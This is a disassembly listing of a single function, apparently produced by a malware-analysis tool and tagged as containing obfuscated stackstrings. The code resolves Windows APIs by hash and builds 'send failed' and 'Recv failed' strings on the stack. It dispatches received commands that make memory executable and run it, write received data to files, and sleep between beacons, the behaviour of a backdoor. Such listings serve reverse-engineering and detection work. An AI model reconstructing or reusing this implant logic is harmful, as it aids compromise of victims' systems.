Function at 0x180002469
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test rdx, rdx
je 0x180002e37
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xe0
mov rax, qword [0x18001c008]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rdi, rdx
mov rbx, rcx
call fcn.180003930
test eax, eax
je 0x180002e0b
mov qword [rbx + 0x28], rdi
cmp byte [rdi + 0x1b], 0
je 0x1800024f2
mov dword [rbp - 9], 0x302e3456
mov byte [rbp - 5], 0
mov ecx, 0x16fe6d88
call fcn.180001000
lea r8, [rbp - 9]
xor edx, edx
xor ecx, ecx
call rax
mov qword [rbx + 0x10], rax
mov ecx, 0xc7e0265e
call fcn.180001000
call rax
cmp eax, 0xb7
je 0x180002e0b
cmp byte [rbx + 0x90], 0
jne 0x180002dcc
xor r13d, r13d
lea rcx, [rbx + 0x30]
call fcn.180001e70
mov rcx, rbx
call fcn.180003720
test eax, eax
jne 0x18000252f
mov rdi, qword [rbx + 0x58]
mov ecx, 0x5de2e91f
call fcn.180001850
mov rcx, rdi
call rax
jmp 0x180002dae
mov ecx, 0xb9f2133d
call fcn.180001000
call rax
mov rdi, rax
call fcn.1800010b0
mov edx, 8
lea r8d, [rdx + 8]
mov rcx, rdi
call rax
mov qword [rbp - 0x21], rax
test rax, rax
je 0x180002563
lea rcx, [rbx + 0x58]
mov qword [rax], rcx
jmp 0x180002566
mov rax, r13
mov qword [rbx + 0x48], rax
mov rcx, rbx
call fcn.180003290
test eax, eax
jne 0x1800025f4
mov dword [rbp - 1], 0x646e6573
mov dword [rbp + 3], 0x61662020
mov dword [rbp + 7], 0x64656c69
mov byte [rbp + 0xb], al
mov ecx, 0x1acb4b50
call fcn.180001000
lea rcx, [rbp - 1]
call rax
mov rsi, qword [rbx + 0x48]
test rsi, rsi
je 0x1800025cb
mov ecx, 0xb9f2133d
call fcn.180001000
call rax
mov rdi, rax
mov ecx, 0xbb9549c0
call fcn.180001000
mov r8, rsi
xor edx, edx
mov rcx, rdi
call rax
nop
mov ecx, 0x61ae5d9
call fcn.180001000
mov ecx, 0x1d4c0
call rax
mov rdi, qword [rbx + 0x58]
mov ecx, 0x5de2e91f
call fcn.180001850
mov rcx, rdi
call rax
jmp 0x180002dbf
cmp byte [rbx + 0x31], 0
jne 0x18000264f
lea rdx, [rbx + 0x91]
lea r9, [rbp - 0x61]
mov r8d, 1
mov cl, 8
call fcn.180001cf0
mov rsi, rax
test rax, rax
je 0x18000264f
mov r8d, dword [rbp - 0x61]
mov rdx, rax
mov rcx, qword [rbx + 0x48]
call fcn.180001fb0
nop
mov ecx, 0xb9f2133d
call fcn.180001000
call rax
mov rdi, rax
mov ecx, 0xbb9549c0
call fcn.180001000
mov r8, rsi
xor edx, edx
mov rcx, rdi
call rax
nop
cmp qword [rbx + 0x20], 0
jne 0x1800026ab
lea rdx, [rbx + 0x91]
lea r9, [rbp - 0x5d]
mov r8d, 1
mov cl, 5
call fcn.180001cf0
mov rsi, rax
test rax, rax
je 0x1800026ab
mov r8d, dword [rbp - 0x5d]
mov rdx, rax
mov rcx, qword [rbx + 0x48]
call fcn.180001fb0
nop
mov ecx, 0xb9f2133d
call fcn.180001000
call rax
mov rdi, rax
mov ecx, 0xbb9549c0
call fcn.180001000
mov r8, rsi
xor edx, edx
mov rcx, rdi
call rax
nop
cmp byte [rbx + 0x90], 0
jne 0x180002dcc
mov edi, dword [rbx + 0x78]
mov rsi, qword [rbx + 0x60]
mov ecx, 0x5a3b36b
call fcn.1800012d0
mov r8d, edi
xor edx, edx
mov rcx, rsi
call rax
mov r14, qword [rbx + 0x60]
mov r15, qword [rbx + 0x48]
mov esi, r13d
nop
mov rax, qword [r15]
mov rdi, qword [rax]
mov ecx, 0x403e10
call fcn.180001850
mov r8d, 0x10
sub r8d, esi
movsxd rdx, esi
add rdx, r14
xor r9d, r9d
mov rcx, rdi
call rax
add esi, eax
test eax, eax
jle 0x180002712
cmp esi, 0x10
jl 0x1800026e0
cmp esi, 0x10
jne 0x180002d3f
mov rax, qword [rbx + 0x60]
cmp dword [rax], 0x37f457d1
jne 0x180002d3f
mov rdx, qword [rbx + 0x68]
mov r8d, dword [rdx + 0xc]
test r8d, r8d
je 0x1800027b9
mov rdx, qword [rbx + 0x70]
mov rcx, qword [rbx + 0x48]
call fcn.180002030
mov rcx, qword [rbx + 0x68]
lea r14, [rcx + 0xc]
cmp eax, dword [r14]
jne 0x180002d3f
movups xmm0, xmmword [rcx]
movaps xmmword [rbp - 0x19], xmm0
mov r15, qword [rbx + 0x70]
lea rdi, [rbp + 0x1f]
mov esi, 4
nop
mov ecx, 0x5a370cb
call fcn.1800012d0
mov r8d, 4
lea rdx, [rbp - 0x15]
mov rcx, rdi
call rax
add rdi, 4
sub rsi, 1
jne 0x180002770
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r15
mov r9d, dword [r14]
mov r8, r15
lea rdx, [rbp + 0x1f]
xor ecx, ecx
call fcn.180001b10
test eax, eax
jne 0x1800027b5
mov dword [r14], r13d
mov rdx, qword [rbx + 0x68]
mov eax, dword [rdx + 8]
cmp eax, 0xf
jbe 0x180002819
xor cl, cl
movzx r8d, byte [rbx + 0x31]
test r8b, r8b
je 0x1800026ab
mov r10, qword [rbx + 0x38]
movzx r11d, al
nop dword [rax]
movzx eax, cl
mov r9, qword [r10 + rax*8]
cmp word [r9 + 8], r11w
je 0x1800027fa
inc cl
cmp cl, r8b
jb 0x1800027e0
jmp 0x1800026ab
test r9, r9
je 0x1800026ab
mov rax, qword [r9]
mov r8d, dword [rdx + 0xc]
mov rdx, qword [rbx + 0x70]
mov rcx, r9
call qword [rax + 8]
jmp 0x1800026ab
cmp eax, 0xa
jne 0x18000287a
lea rdx, [rbx + 0x91]
lea r9, [rbp - 0x59]
lea r8d, [rax - 9]
mov cl, 8
call fcn.180001cf0
mov rsi, rax
test rax, rax
je 0x1800026ab
mov r8d, dword [rbp - 0x59]
mov rdx, rax
mov rcx, qword [rbx + 0x48]
call fcn.180001fb0
nop
mov ecx, 0xb9f2133d
call fcn.180001000
call rax
mov rdi, rax
mov ecx, 0xbb9549c0
call fcn.180001000
mov r8, rsi
xor edx, edx
mov rcx, rdi
call rax
nop
jmp 0x1800026ab
cmp eax, 5
jne 0x18000288c
mov rcx, rbx
call fcn.180003ae0
jmp 0x1800026ab
cmp eax, 6
jne 0x1800028ea
mov esi, dword [rbx + 0x18]
test esi, esi
je 0x1800026ab
mov rdi, qword [rbx + 0x20]
test rdi, rdi
je 0x1800026ab
mov rax, qword [rbx + 0x70]
mov qword [rbp - 0x49], rax
mov eax, dword [rdx + 0xc]
mov dword [rbp - 0x41], eax
mov dword [rbp - 0x3d], r13d
mov rax, qword [rbx + 0x10]
mov qword [rbp - 0x39], rax
mov ecx, 0x77e9f7c8
call fcn.180001000
lea r9, [rbp - 0x31]
mov rdx, rsi
mov r8d, 0x40
mov rcx, rdi
call rax
lea rcx, [rbp - 0x49]
call rdi
jmp 0x1800026ab
cmp eax, 7
jne 0x180002934
mov esi, dword [rbx + 0x18]
test esi, esi
je 0x1800026ab
mov rdi, qword [rbx + 0x20]
test rdi, rdi
je 0x1800026ab
mov rax, qword [rbx + 0x70]
mov qword [rbp - 0x49], rax
mov eax, dword [rdx + 0xc]
mov dword [rbp - 0x41], eax
mov dword [rbp - 0x3d], 1
mov rax, qword [rbx + 0x10]
mov qword [rbp - 0x39], rax
mov ecx, 0x77e9f7c8
call fcn.180001000
lea r9, [rbp - 0x2d]
jmp 0x1800028d1
cmp eax, 8
jne 0x180002a2b
mov r14, qword [rbx + 0x70]
mov r15, qword [rbx + 0x48]
movzx eax, byte [rbx + 0x31]
cmp al, byte [rbx + 0x30]
je 0x1800026ab
mov esi, dword [rdx + 0xc]
test rsi, rsi
jne 0x18000295f
mov rdx, r13
jmp 0x180002987
mov ecx, 0xb9f2133d
call fcn.180001000
call rax
mov rdi, rax
call fcn.1800010b0
mov r8, rsi
mov edx, 8
mov rcx, rdi
call rax
mov rdx, rax
movzx eax, byte [rbx + 0x31]
movzx r8d, al
mov rcx, qword [rbx + 0x40]
mov qword [rcx + r8*8], rdx
movzx ecx, byte [rbx + 0x31]
mov rax, qword [rbx + 0x40]
mov rdi, qword [rax + rcx*8]
mov ecx, 0x5a370cb
call fcn.1800012d0
mov r8, rsi
mov rdx, r14
mov rcx, rdi
call rax
movzx ecx, byte [rbx + 0x31]
mov rax, qword [rbx + 0x40]
mov rdi, qword [rax + rcx*8]
mov ecx, 0x77e9f7c8
call fcn.180001000
lea r9, [rbp - 0x29]
mov r8d, 0x40
mov rdx, rsi
mov rcx, rdi
call rax
xor ecx, ecx
call rdi
movzx edx, byte [rbx + 0x31]
mov rcx, qword [rbx + 0x40]
mov r8, qword [rcx + rdx*8]
mov r9, qword [rax]
movzx ecx, word [r9]
lea rdx, [r8 - 0x1000]
add rdx, rcx
mov qword [r9], rdx
movzx ecx, word [r9 + 8]
lea rdx, [r8 - 0x1000]
add rdx, rcx
mov qword [r9 + 8], rdx
mov qword [rax + 0x10], r15
movzx edx, byte [rbx + 0x31]
mov rcx, qword [rbx + 0x38]
mov qword [rcx + rdx*8], rax
inc byte [rbx + 0x31]
jmp 0x1800026ab
cmp eax, 9
jne 0x180002aee
lea rcx, [rbx + 0x30]
call fcn.180001e70
mov rax, qword [rbx + 0x70]
movzx r8d, byte [rax]
mov byte [rbx + 0x31], 0
mov byte [rbx + 0x30], r8b
test r8b, r8b
je 0x1800026ab
mov eax, 8
mul r8
mov rsi, rax
mov r14, 0xffffffffffffffff
cmovo rsi, r14
test rsi, rsi
jne 0x180002a76
mov rax, r13
jmp 0x180002a9c
mov ecx, 0xb9f2133d
call fcn.180001000
call rax
mov rdi, rax
call fcn.1800010b0
mov r8, rsi
mov edx, 8
mov rcx, rdi
call rax
movzx r8d, byte [rbx + 0x30]
mov qword [rbx + 0x38], rax
movzx ecx, r8b
mov eax, 8
mul rcx
mov rsi, rax
cmovo rsi, r14
test rsi, rsi
jne 0x180002ac4
mov rax, r13
mov qword [rbx + 0x40], rax
jmp 0x1800026ab
mov ecx, 0xb9f2133d
call fcn.180001000
call rax
mov rdi, rax
call fcn.1800010b0
mov r8, rsi
mov edx, 8
mov rcx, rdi
call rax
mov qword [rbx + 0x40], rax
jmp 0x1800026ab
cmp eax, 3
jne 0x180002b43
cmp dword [rdx + 0xc], 4
jne 0x1800026ab
mov rax, qword [rbx + 0x70]
imul esi, dword [rax], 0xea60
test esi, esi
jne 0x180002b17
mov byte [rbx + 0x90], 1
jmp 0x1800026ab
mov rax, qword [rbx + 0x48]
mov rdx, qword [rax]
mov rdi, qword [rdx]
mov ecx, 0x5de2e91f
call fcn.180001850
mov rcx, rdi
call rax
mov ecx, 0x61ae5d9
call fcn.180001000
mov ecx, esi
call rax
jmp 0x1800026ab
cmp eax, 4
jne 0x180002b83
mov byte [rbx + 0x90], 1
mov rsi, qword [rbx + 0x20]
test rsi, rsi
je 0x1800026ab
mov edi, dword [rbx + 0x18]
mov ecx, 0x77e9f7c8
call fcn.180001000
mov edx, edi
lea r9, [rbp - 0x25]
mov r8d, 0x40
mov rcx, rsi
call rax
xor ecx, ecx
call rsi
jmp 0x1800026ab
cmp eax, 0xe
jne 0x180002b98
mov qword [rbx + 0x20], r13
mov byte [rbx + 0x90], 1
jmp 0x1800026ab
cmp eax, 0xb
jne 0x180002baa
mov rcx, rbx
call fcn.180002e40
jmp 0x1800026ab
cmp eax, 0xd
jne 0x180002c2c
mov rdi, qword [rbx + 0x80]
mov ecx, 0x2cfe15
call fcn.180001000
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rdi
call rax
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x1800026ab
mov rcx, qword [rbx + 0x68]
mov edi, dword [rcx + 0xc]
mov rsi, qword [rbx + 0x70]
mov ecx, 0x7420620b
call fcn.180001000
mov qword [rsp + 0x20], r13
lea r9, [rbp - 9]
mov r8d, edi
mov rdx, rsi
mov rcx, r14
call rax
mov ecx, 0x4d070222
call fcn.180001000
mov rcx, r14
call rax
jmp 0x1800026ab
cmp eax, 0xc
jne 0x1800026ab
call fcn.1800016f0
call rax
test eax, eax
jne 0x180002c9d
mov byte [rbp - 0x69], 6
lea r9, [rbp - 0x55]
lea r8d, [rax + 1]
lea rdx, [rbp - 0x69]
mov cl, 0xb
call fcn.180001cf0
mov rsi, rax
test rax, rax
je 0x1800026ab
mov r8d, dword [rbp - 0x55]
mov rdx, rax
mov rcx, qword [rbx + 0x48]
call fcn.180001fb0
nop
mov ecx, 0xb9f2133d
call fcn.180001000
call rax
mov rdi, rax
mov ecx, 0xbb9549c0
call fcn.180001000
mov r8, rsi
xor edx, edx
mov rcx, rdi
call rax
nop
jmp 0x1800026ab
mov dword [rbp - 0x65], r13d
mov rdi, qword [rbx + 0x88]
mov ecx, 0x8368d2b4
call fcn.180001000
lea rdx, [rbp - 0x65]
mov rcx, rdi
call rax
cmp dword [rbp - 0x65], 0x103
jne 0x180002d23
mov byte [rbp - 0x69], 5
lea r9, [rbp - 0x51]
mov r8d, 1
lea rdx, [rbp - 0x69]
mov cl, 0xb
call fcn.180001cf0
mov rsi, rax
test rax, rax
je 0x1800026ab
mov r8d, dword [rbp - 0x51]
mov rdx, rax
mov rcx, qword [rbx + 0x48]
call fcn.180001fb0
nop
mov ecx, 0xb9f2133d
call fcn.180001000
call rax
mov rdi, rax
mov ecx, 0xbb9549c0
call fcn.180001000
mov r8, rsi
xor edx, edx
mov rcx, rdi
call rax
nop
jmp 0x1800026ab
mov r9d, 0xa8
mov r8, qword [rbx + 0x28]
mov edx, 0xc
mov rcx, rbx
call fcn.180003ce0
jmp 0x1800026ab
mov dword [rbp + 0xf], 0x76636552
mov dword [rbp + 0x13], 0x61662020
mov dword [rbp + 0x17], 0x64656c69
mov byte [rbp + 0x1b], 0
mov ecx, 0x1acb4b50
call fcn.180001000
lea rcx, [rbp + 0xf]
call rax
mov rax, qword [rbx + 0x48]
mov rcx, qword [rax]
mov rdi, qword [rcx]
mov ecx, 0x5de2e91f
call fcn.180001850
mov rcx, rdi
call rax
mov rsi, qword [rbx + 0x48]
test rsi, rsi
je 0x180002dae
mov ecx, 0xb9f2133d
call fcn.180001000
call rax
mov rdi, rax
mov ecx, 0xbb9549c0
call fcn.180001000
mov r8, rsi
xor edx, edx
mov rcx, rdi
call rax
nop
mov ecx, 0x61ae5d9
call fcn.180001000
mov ecx, 0x1d4c0
call rax
cmp byte [rbx + 0x90], 0
je 0x180002502
mov rax, qword [rbx + 0x48]
mov rdx, qword [rax]
mov rdi, qword [rdx]
mov ecx, 0x5de2e91f
call fcn.180001850
mov rcx, rdi
call rax
lea rcx, [rbx + 0x30]
call fcn.180001e70
mov rax, qword [rbx + 0x28]
cmp byte [rax + 0x1b], 0
je 0x180002e0b
mov rbx, qword [rbx + 0x10]
mov ecx, 0x4d070222
call fcn.180001000
mov rcx, rbx
call rax
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1800040a0
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret